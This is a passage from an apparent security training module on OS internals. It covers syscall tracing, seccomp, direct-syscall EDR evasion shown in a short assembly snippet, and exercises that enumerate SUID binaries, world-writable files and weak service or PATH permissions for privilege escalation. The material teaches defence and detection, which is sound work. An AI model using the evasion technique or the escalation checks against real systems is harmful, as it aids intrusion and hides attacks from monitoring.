&lt;li&gt;Connect to a network without calling &lt;code&gt;connect()&lt;/code&gt;/&lt;code&gt;NtConnect()&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Inject into another process without calling &lt;code&gt;VirtualAllocEx()&lt;/code&gt;/&lt;code&gt;WriteProcessMemory()&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security tools exploit this inescapability:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Linux — strace:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Trace all system calls made by a program&lt;/span&gt;
strace /bin/ls

&lt;span class="c"&gt;# Trace a running process&lt;/span&gt;
strace &lt;span class="nt"&gt;-p&lt;/span&gt; &amp;lt;PID&amp;gt;

&lt;span class="c"&gt;# Filter for specific syscalls&lt;/span&gt;
strace &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;trace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;open,read,write,connect /bin/ls
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Windows — API Monitor / ETW (Event Tracing for Windows):&lt;/strong&gt;&lt;br&gt;
Windows EDR products use ETW to monitor Windows API calls. When &lt;code&gt;cmd.exe&lt;/code&gt; spawns from &lt;code&gt;winword.exe&lt;/code&gt;, or &lt;code&gt;powershell.exe&lt;/code&gt; makes a network connection, or &lt;code&gt;lsass.exe&lt;/code&gt; is accessed with &lt;code&gt;PROCESS_VM_READ&lt;/code&gt; rights — all of these generate ETW events that security tools consume.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Seccomp (Linux Sandboxing):&lt;/strong&gt;&lt;br&gt;
Modern browsers and containerised applications use &lt;strong&gt;seccomp&lt;/strong&gt; (Secure Computing Mode) to restrict which system calls a process is allowed to make. A browser renderer process probably does not need to call &lt;code&gt;fork()&lt;/code&gt; or &lt;code&gt;mount()&lt;/code&gt;. Restricting it to only the syscalls it needs dramatically reduces the attack surface.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Example: allow only read, write, exit, sigreturn&lt;/span&gt;
&lt;span class="n"&gt;scmp_filter_ctx&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;seccomp_init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SCMP_ACT_KILL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;seccomp_rule_add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SCMP_ACT_ALLOW&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SCMP_SYS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;seccomp_rule_add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SCMP_ACT_ALLOW&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SCMP_SYS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;seccomp_rule_add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SCMP_ACT_ALLOW&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SCMP_SYS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;seccomp_load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// Any other syscall now kills the process&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Docker containers use seccomp profiles to restrict container system calls. Understanding seccomp is important for container security (Stage 8).&lt;/p&gt;

&lt;h3&gt;
  
  
  8.4 Syscall-Based Evasion — Direct Syscalls
&lt;/h3&gt;

&lt;p&gt;Modern EDR products hook Windows API functions (in ntdll.dll) to monitor behaviour. When malware calls &lt;code&gt;VirtualAllocEx()&lt;/code&gt;, the EDR's hook intercepts it, logs it, and decides whether to allow it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attacker response — Direct Syscalls:&lt;/strong&gt;&lt;br&gt;
Instead of calling the API function that EDR is monitoring, the malware issues the syscall instruction directly, bypassing the hook entirely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; Normal path (EDR can monitor this):
call VirtualAllocEx  → ntdll.dll → [EDR HOOK HERE] → kernel

; Direct syscall (EDR cannot monitor this):
mov r10, rcx
mov eax, 0x18  ; syscall number for NtAllocateVirtualMemory
syscall        → kernel directly, no hooks in the path
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tools like &lt;strong&gt;SysWhispers&lt;/strong&gt; and &lt;strong&gt;Hells Gate&lt;/strong&gt; implement direct syscall techniques and are widely used in offensive tooling including commercial C2 frameworks.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The arms race:&lt;/strong&gt; EDR vendors responded to direct syscalls by moving their hooks into the kernel itself (kernel callbacks). Attackers responded with BYOVD (bringing vulnerable kernel drivers). This escalation is ongoing and understanding syscalls is the foundation for following it.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. Key Takeaways and Security Mindset
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 The OS Is Both Fortress and Battlefield
&lt;/h3&gt;

&lt;p&gt;The operating system is simultaneously:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The primary security enforcer&lt;/strong&gt; — permissions, isolation, privilege levels&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The primary target&lt;/strong&gt; — every attacker tries to subvert OS mechanisms&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The primary evidence source&lt;/strong&gt; — every attack leaves traces in OS structures&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Understanding the OS deeply means you understand both how defences work and how they fail. You cannot be effective on either side without this foundation.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.2 The Hierarchy of Trust
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hardware (Stage 0.1)
    ↓ enforces
Kernel (this module)
    ↓ enforces
User Mode Applications
    ↓ enforces
File System Permissions, Process Isolation, etc.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every security control at a higher level can be subverted by a compromise at a lower level. OS security controls are meaningless if the kernel is compromised. This hierarchical thinking applies to every system you will assess in your career.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.3 For OT/ICS Environments
&lt;/h3&gt;

&lt;p&gt;The principles in this module apply to every OS — including the ones running on PLCs, HMIs, and SCADA servers. Key specific points:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;RTOS (Real-Time Operating Systems)&lt;/strong&gt; often have minimal or no user/kernel separation — everything runs at maximum privilege. This means a vulnerability anywhere in the system potentially means full compromise.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Legacy Windows versions&lt;/strong&gt; (Windows XP, Windows 7) are common in OT environments. These lack many of the modern security features described in this module — no ASLR, no modern heap protections, outdated system call interfaces.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;File system permissions&lt;/strong&gt; on HMI configuration files, ladder logic backups, and historian databases are frequently misconfigured in OT environments.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Process monitoring&lt;/strong&gt; is rarely implemented in OT environments — there is often no EDR, no strace-equivalent, no API monitoring. Attacks can run undetected indefinitely.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  9.4 Core Concepts to Commit to Memory
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Why It Matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Kernel = absolute authority&lt;/td&gt;
&lt;td&gt;Kernel compromise = total compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User/Kernel mode boundary&lt;/td&gt;
&lt;td&gt;Foundation of all privilege escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Process = isolated unit&lt;/td&gt;
&lt;td&gt;Injection = breaking this isolation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File permissions&lt;/td&gt;
&lt;td&gt;Primary Linux privilege escalation vector&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NTFS ADS&lt;/td&gt;
&lt;td&gt;Hiding malware, Zone.Identifier forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NTFS timestamps&lt;/td&gt;
&lt;td&gt;Forensic timeline, timestomping detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ASLR + NX/DEP&lt;/td&gt;
&lt;td&gt;Why modern exploitation requires bypasses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;System calls = observable&lt;/td&gt;
&lt;td&gt;Foundation of EDR detection and evasion&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  10. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: Process Archaeology (45 minutes)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Objective:&lt;/strong&gt; Understand what a "normal" process tree looks like so you can spot anomalies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Windows:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install Sysinternals Process Explorer and Process Monitor&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Download: https://learn.microsoft.com/en-us/sysinternals/&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Document the parent-child relationships of these processes:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# - explorer.exe → what does it spawn?&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# - svchost.exe → how many instances? what services do they host?&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# - lsass.exe → what accesses it?&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Using built-in tools:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-CimInstance&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; 
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ProcessId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ParentProcessId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ExecutablePath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Sort-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ParentProcessId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Format-Table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-AutoSize&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Linux:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install and use pstree&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;psmisc
pstree &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;  &lt;span class="c"&gt;# Show PIDs and users&lt;/span&gt;

&lt;span class="c"&gt;# Document:&lt;/span&gt;
&lt;span class="c"&gt;# - What spawns init/systemd's children?&lt;/span&gt;
&lt;span class="c"&gt;# - What processes does your shell spawn when you run a command?&lt;/span&gt;
&lt;span class="c"&gt;# - What processes does sshd spawn when you connect?&lt;/span&gt;

&lt;span class="c"&gt;# Compare process lists from /proc vs ps&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /proc | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'^[0-9]+$'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; proc_pids.txt
ps aux | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +2 | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ps_pids.txt
diff proc_pids.txt ps_pids.txt  
&lt;span class="c"&gt;# In a rootkit scenario, a hidden process appears in /proc but not in ps&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Build the mental model of "normal" — every detection in your career depends on knowing what normal looks like.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exercise 2: System Call Tracing (30 minutes)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Linux:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Trace what happens when you read a file&lt;/span&gt;
strace &lt;span class="nb"&gt;cat&lt;/span&gt; /etc/hostname 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-50&lt;/span&gt;

&lt;span class="c"&gt;# Answer these questions from the strace output:&lt;/span&gt;
&lt;span class="c"&gt;# 1. What syscall opens the file?&lt;/span&gt;
&lt;span class="c"&gt;# 2. What syscall reads the content?&lt;/span&gt;
&lt;span class="c"&gt;# 3. What syscall writes to your terminal?&lt;/span&gt;
&lt;span class="c"&gt;# 4. What syscall closes the file?&lt;/span&gt;

&lt;span class="c"&gt;# Trace a network connection&lt;/span&gt;
strace &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;trace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;network curl https://example.com 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;

&lt;span class="c"&gt;# Answer:&lt;/span&gt;
&lt;span class="c"&gt;# 1. What syscall creates the socket?&lt;/span&gt;
&lt;span class="c"&gt;# 2. What syscall makes the connection?&lt;/span&gt;
&lt;span class="c"&gt;# 3. What syscall sends data?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Windows:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Download API Monitor (free): http://www.rohitab.com/apimonitor
1. Start monitoring notepad.exe
2. Open a file in Notepad
3. Find NtCreateFile, NtReadFile in the API call log
4. Examine the parameters passed to each call
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; See system calls in action. This directly prepares you for malware analysis — you will trace malware's API calls to understand its behaviour.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exercise 3: File System Permissions Audit (30 minutes)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Linux:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find all SUID binaries&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null

&lt;span class="c"&gt;# For each one, look it up on GTFOBins:&lt;/span&gt;
&lt;span class="c"&gt;# https://gtfobins.github.io/&lt;/span&gt;
&lt;span class="c"&gt;# Can any of them be exploited?&lt;/span&gt;

&lt;span class="c"&gt;# Find world-writable files and directories&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-0002&lt;/span&gt; &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/proc/*"&lt;/span&gt; &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/sys/*"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Find files owned by root that are writable by others&lt;/span&gt;
find / &lt;span class="nt"&gt;-user&lt;/span&gt; root &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-0022&lt;/span&gt; &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/proc/*"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Check /etc/passwd and /etc/shadow permissions&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/passwd /etc/shadow
&lt;span class="nb"&gt;stat&lt;/span&gt; /etc/passwd /etc/shadow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Windows:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find writable directories in PATH (potential DLL hijacking)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-split&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;';'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$acl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-Acl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Stop&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$acl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Access&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;IdentityReference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Everyone|BUILTIN\\Users|CREATOR OWNER"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-and&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;FileSystemRights&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Write|Modify|FullControl"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt; - &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;IdentityReference&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; - &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;FileSystemRights&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Check service binary permissions&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;PathName&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;PathName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-replace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'"'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-split&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-First&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Test-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$acl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-Acl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$acl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Access&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
